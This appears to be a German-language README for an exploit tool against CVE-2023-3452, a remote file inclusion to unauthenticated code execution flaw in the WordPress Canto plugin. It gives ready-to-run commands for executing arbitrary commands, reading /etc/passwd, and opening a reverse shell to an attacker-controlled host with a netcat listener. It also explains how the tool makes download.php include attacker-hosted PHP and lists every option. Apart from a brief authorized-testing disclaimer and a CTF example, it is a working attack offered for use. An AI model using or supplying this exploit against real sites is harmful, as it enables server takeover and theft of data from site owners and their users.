
CVE-2023-3452 Exploit für WordPress Canto Plugin RCE, inklusive HTTPS-Unterstützung
Exploit für das WordPress Canto Plugin (≤ 3.0.4) RFI-Schwachstelle. Funktioniert tatsächlich mit HTTPS — die anderen öffentlichen PoCs haben bei SSL aufgegeben.
Anerkennung wo sie gebührt: Dieses CVE wurde von anderen gefunden. Ich habe nur eine Version erstellt, die bei HTTPS-Zielen nicht versagt.
| CVE | CVE-2023-3452 |
| EDB-ID | 51826 |
| Typ | Remote File Inclusion (RFI) → Nicht authentifizierte RCE |
| Betroffen | WordPress Canto Plugin < 3.0.5 (≤ 3.0.4) |
| Entdeckt von | Leopoldo Angulo (leoanggal1) — 2024-02-27 |
| Ort | /wp-content/plugins/canto/includes/lib/download.php |
| Vektor | wp_abspath wird verwendet, um PHP-Dateien ohne Validierung einzubinden — wir binden unsere remote ein. |
Die meisten Exploits für dieses CVE scheitern an HTTPS wegen SSL-Verifikation. Dieses Skript:
verify=False, sodass HTTPS-Ziele tatsächlich funktionierenrequestspip install -r requirements.txt
Oder einfach: pip install requests
python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]
* Kein Befehl = führt id; whoami; hostname als Sicherheitsprüfung aus
Einzelbefehl:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"
Eine Datei lesen:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
Reverse Shell (führen Sie zuerst nc -lvnp 4444 aus):
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
Interaktiver Modus:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i
HTTPS CTF-Ziel:
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
/wp-content/plugins/canto/readme.txt zu, parst die Version (≤ 3.0.4 = anfällig)wp-admin/admin.php, die Ihren Befehl via system() ausführtdownload.php mit wp_abspath=http://LHOST:LPORT an, sodass es unser entferntes PHP einbindetLHOST:LPORT erreichen können (für HTB/Labs ist das Ihre VPN-IP)-p) zulassenNur autorisierte Tests und Ausbildung. Berühren Sie nur Systeme, zu denen Sie berechtigt sind. Alles andere ist illegal.
MIT
| Option | Beschreibung | Erforderlich |
|---|
-t, --target | Ziel-WordPress-URL (HTTP oder HTTPS) | Ja |
-l, --lhost | Ihre IP — das Ziel muss diese für das Payload erreichen können | Ja |
-p, --lport | Payload-Server-Port (Standard: 8888) | Nein |
-c, --command | Befehl, der auf dem Ziel ausgeführt werden soll | Nein* |
--revshell | Reverse-Shell starten | Nein |
--shell-port | Listener-Port für Reverse-Shell (Standard: 4444) | Nein |
-i, --interactive | Interaktiver Shell-Modus | Nein |
-v, --verbose | Zusätzliche Ausgabe | Nein |
--skip-check | Schwachstellenprüfung überspringen | Nein |